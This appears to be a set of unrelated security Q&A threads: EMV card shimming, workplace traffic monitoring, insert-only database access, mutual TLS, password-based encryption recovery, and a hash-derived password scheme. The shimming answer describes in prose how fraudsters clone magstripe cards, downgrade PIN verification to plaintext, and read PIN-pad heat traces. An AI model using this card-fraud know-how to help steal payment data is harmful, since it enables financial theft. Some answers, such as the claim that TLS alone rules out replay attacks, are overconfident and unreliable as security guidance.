What I don't understand is how card shimmers work? Based on what I've read on the issue, there are three types of CVVs; CVV1, which is located on the magnetic stripe of a debit or credit card; CVV2, which is the number on the back of Visa cards; and CVV3, which is a dynamic value that's stored on the chip of EMV cards. Specifically, what kind of CVV does a card shim steal, and how can a thief make a magnetic stripe counterfeit card of an EMV card using a shim? Wouldn't the thief need access to the CVV1 located on the magnetic stripe?

Lastly, can card skimmers still steal the CVV1 of EMV cards, when, for instance, I decide to swipe the card at an old gas pump, instead of "dipping" the chip part of the card?

Edit: Just to be clear, the way this would work is, it would allow a thief to make a counterfeit magnetic stripe credit or debit card, with some special code on the magnetic stripe that would be able to fool an EMV point-of-sale terminal into forwarding the information on the counterfeit card to the card issuer, which would then decide whether or not to approve the transaction.

Someone has done research on your question. In a whitepaper named "It Only Takes A Minute to Clone a Credit Card, Thanks to a 50-Year-Old Problem"(pdf).
Researchers create magstripe versions from EMV and contactless cards: Banking industry loophole reported more than a decade ago still remains open and ripe for exploitation today.
The way it works is shimmer records the signed static data produced by the card in order to identify itself to the terminal. The data contains identifying details about the account, account holder and the issuing bank. These details are enough to reproduce a fraudulent magstripe card. What that data lacks is CVV1 for the magstripe and PIN.
What shimmer makers discovered that some banks treat CVV1 as optional and still accept the magstripe transaction even if the CVV1 is incorrect. To learn PIN, shimmers downgrade how cardholder verification should be performed as the communication between the card and terminal is not authenticated.
The issuer sets priority for the acceptable ways that can be used for cardholder verification.

4 - Online PIN verification

3 - Offline encrypted PIN verification

2 - Offline Plaintext PIN verification

1 - No PIN verification

0 - Manually compare cardholder signature (deprecated)

Terminal and card agree on priority level which is supported by both. Shimmer downgrades the supported methods to offline plaintext verification and learns the PIN. However, the decision is made by the card and it can reject the transaction if the terminal doesn't support encrypted PIN verification.
Another method is to capture heatmap of the PIN pad just after the customer leaves. This approach is quite easier and scalable.
Most of the banks today set atleast offline encrypted PIN verification for point of sale devices and without correct CVV in magstripe transaction, it is declined. But some banks are not enforcing this standard.


Would a porn site open in the background generate network traffic? My friend walked into work with a porn site loaded into incognito in the background.

He didn't click it while at work or open chrome it was just a background window.

Would it ping it or anything like that when it connected to wifi?

They have identified logins for the wifi so maybe they could trace the login back to him?

As someone who has monitored network traffic in a company: yes, it will be generating traffic even in the background. I've been alerted to porn and investigated.

I set up operations to watch employees on their laptops to see if they are actively browsing porn at work, and they weren't, but it was in a background window.

Whether the traffic can be traced to his machine/device will depend on the type and amount of monitoring the company has.


Does insert only db access offer any additional security There are concerns that if our public facing web nodes are compromised, an attacker will gain access to all our data. It just so happens that data entered from outside users only needs to be ever accessed by internal users.

Does it offer any additional security, if we only give web nodes insert access, and only allow read/write access from internal facing nodes?

A related idea would be to use messaging to pass the write message from the web node to the internal node which would handle all DB modification.

My gut tells me these would both mitigate data leakage on a web node breach. Is there anything I'm overlooking?

The short answer is "Yes", it does offer some additional security as you make it more difficult for an attacker to gain the information these outside users are entering.

The long answer is that a focused attacker could:

use the compromised web nodes to hijack your outside users towards his server or inject malware, likely with little difference to be noted in the web interface as he has access to your page sources
use the compromised web nodes to capture future data that is entered by outside users and forward this data to his servers for capture, thereby over time replicating parts of your database
traverse from the web node to the internal network over time, for example through new security holes found in the database interface or any other interface you expose to the web nodes


Using mutual authentication, should I still worry about message integrity and replay attack? I'm trying to secure a REST API, our situation is that every client connecting to this API will also have a certificate signed by our own CA. Because of this, I think we can use the client certificate as an authentication mechanism, and install our root certificate on the webserver for verification and then use mutual authentication through HTTPS. We intend to do this with nginx so it's as simple as requiring nginx to have client verification on. However, I'm unclear about whether I should still timestamp and sign each request, should I still worry about message integrity and replay attack? Is there anything other attacks I should guard against?

As SSL ensures that the communication channel is secure from both tampering and snooping, there is no need to do more to ensure message replay and integrity.

This assumes that you are doing a secure authentication by validating the client cert, making sure it hasn't been revoked and isn't expired, is matched to the correct user, etc...


Encrypting user data using password and forgot my password I am planning to do a web application which stores a lot of personal stuff (info, photos...). And to give users a sense of protection, I want to encrypt the data before storing it to the database.

So, in the database I will store hash of the password (to validate against) and user data (encrypted with the password as key -or key derived from password-).

How can I provide a forget-my-password option? I see that the only way is to store the key in some place, which removes the benefit of encrypting the data in the first place.

The standard way of doing this is as follows:

Create an authentication hash using a salted key derivation algorithm such as PBKDF2 or bcrypt.
Generate a random surrogate key for data encryption. Encrypt all data with this key.
Generate a "locking" key from the password using a different salt, but still using a strong KDF.
Xor the surrogate key with the locking key and store that value. This makes the master key unknown unless the password is unknown.
On login, generate the locking key and xor it with the stored surrogate key, which gives you the real surrogate key.

The benefit of this system is that it allows for easy password changes - just use the old password to decrypt the surrogate key, then generate a new locking key from the new password.

When using such a mechanism, the only way to decrypt the data is to have the password, unless you create a second encrypted copy of the surrogate key using another secret.

Here's how I'd do it:

Ask the user to provide you with 3 secret answers. Convert the answers to uppercase and concatenate them. Run that value through a KDF to create a secondary locking key.
Xor the surrogate key with the secondary locking key and store that as a backup key.
When the user forgets their password, ask them for their secret answers and generate the secondary locking key, then use that to compute the surrogate key.

The secret answers option is the easiest, but it's possible to do this with any secret value.


How secure is this hash-based personal password scheme? I use a password scheme where I keep a small number of easy to remember personal passwords. Instead of using the passwords directly for each service, I run them through a hashing algorithm first, as a sort of a seed, together with the name of the actual service. I then use the resulting hash as my actual password for the service. (There's some more to it, I add some extra fixed letters to satisfy some normal password requirements, but let's look away from that in this question.)

The pattern looks like this (using SHA512, and keeping just the 12 first characters of the resulting hash):

"my_p4SSWord!"
      +             =>        SHA512        =>   "d4679b768229"
  "Facebook"

"my_p4SSWord!"
      +             =>        SHA512        =>   "182c5c2d4a2c"
  "LinkedIn"

The pattern allows me, not to remember all of my online passwords, but to remember how to easily re-create them, whenever I need to.

There are lots of online services for calculating hashes, and I currently use this one (which is javascript only, and thus purely client-side):

https://emn178.github.io/online-tools/sha512.html

My question to the security experts is, how secure is this personal scheme of mine really? I truncate the hashes to just 12 characters. How does that affect the real crackability of my passwords? Also, I use SHA512. How does it affect my scheme, as a contrast to using for instance bcrypt?

Any comments?

edit: I'm getting some knee jerk reactions here, for which I'm thankful. I'll just make a few quick comments before this probably gets closed off.

I was asking particularly about the cryptographical properties of the hashes that I'm using, and the increased likelyhood of a successful brute force attack against them as a result of the truncation that I'm doing.

Also, a lot of people mention usability. The thing to remember, is that most passwords you don't actually have to type in, the exception being maybe the password to your OS. In my case, I just remember the hashed password to my OS, and that's it. For the rest, it's just a minor inconvenience each time I have to look up and re-generate the hash. It's quick, and the tools are standardized and available everywhere.

Also, there are simple rules that you can have for cases where you do need to change the password for a particular site. Rules that you can just as easily remember, and that you don't have to write down.

Finally, I mean this mostly as an alternative to doing nothing at all, which, after all, is what most people are doing when they reuse the same passwords indiscriminately across all the online services that they subscribe to!

Finally-finally, be kind!

edit2: There's a lot of focus on the method in the answers, and not on the cryptographic properties of the hashes, which is what I intended in the original question.

Since there's focus on the method, I'll add just one extra piece of information, which is that I do keep a small text file on the side. The text file is, as far as I can tell, in accordance with Kerckhoffs's principle, it reveals things, but not the keys. Which is why my original question is focused on the cryptographic properties of the hashes, and their strength.

SHA-512

PROS:

Due to the avalanche effect, every single modification to the suffix will change the SHA512 sum entirely. This means that from one N first letters of one hash you can't say anything about the N first letters of another hash, making your passwords quite independent.
SHA512 is a one-way compression function, so you can't deduce the password from the hash; you could try brute-force passwords that will give the same SHA512 sum. As you only use part of the hash, there's more chances to find more than one password that will match.

CONS:

You think you have a strong password as it is 12 characters long and contains both letters and numbers, but it actually has a very limited character set of 0-9 + a-f (it's a hexadecimal number). This gives only 16^12 i.e. log2(16^12)=48 bits of entropy, which is less than 10 characters of a-z+0-9 and close to 8 characters of a-z+A-Z+0-9.
Online services could save the hashes you create. Use a local tool for the hashing, instead.
It's possible you can't recall your seed in all cases, which may lead you to lose your password.

What happens if you want or are required to change a password? Does the seed become my_p4SSWord!Sitename2 or something else? How you keep track of the count?
The site/service name is not always unambiguous. Was your Gmail password suffix Google or Gmail or did you first use YouTube? Was your Microsoft account Microsoft or Live or Office365?
Combinations of these makes things even uglier.

If the site has password complexity requirements, you'd had to add characters and/or convert some of the characters uppercase manually after the hashing. How to keep track of these modifications?
Someone could still find out your procedure e.g. by seeing you create/use a single password. That would compromise all your passwords at once.

bcrypt

While bcrypt would

give more entropy usings Radix-64 encoding with 64 characters;
ASCII 32  (space) through 95 _
(!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_)
be slower to calculate
use a user defined iteration count you could utilize to make it as slow as you wish

...it's incompatible with your current procedure, as it has incorporated salting and would give you a different hash every time:

$ htpasswd -nbBC 12 Elling my_p4SSWord\!Sitename

Elling:$2y$12$jTkZQqYzWueA5EwKU1lLT.jbLLXUX.7BemHol.Q4SXhoJyeCVhcri
Elling:$2y$12$c1lDwR3W3e7xlt6P0yCe/OzmZ.ocKct3A6Fmpl8FynfA.fDS16bAa
Elling:$2y$12$eAciSW6iGxw/RJ7foywZgeAb0OcnH9a.2IOPglGGk.wL9RkEl/Gwm
Elling:$2y$12$EU/UDJaZYvBy6Weze..6RuwIjc4lOHYL5BZa4RoD9P77qwZljUp22

...unless you exclusively specify a static salt (possible on some implementations like PyPI bcrypt).

Password managers

All the cons are solved in a password manager creating passwords that are

random
completely unrelated
can have different requirements (different character sets and minimum/maximum lengths).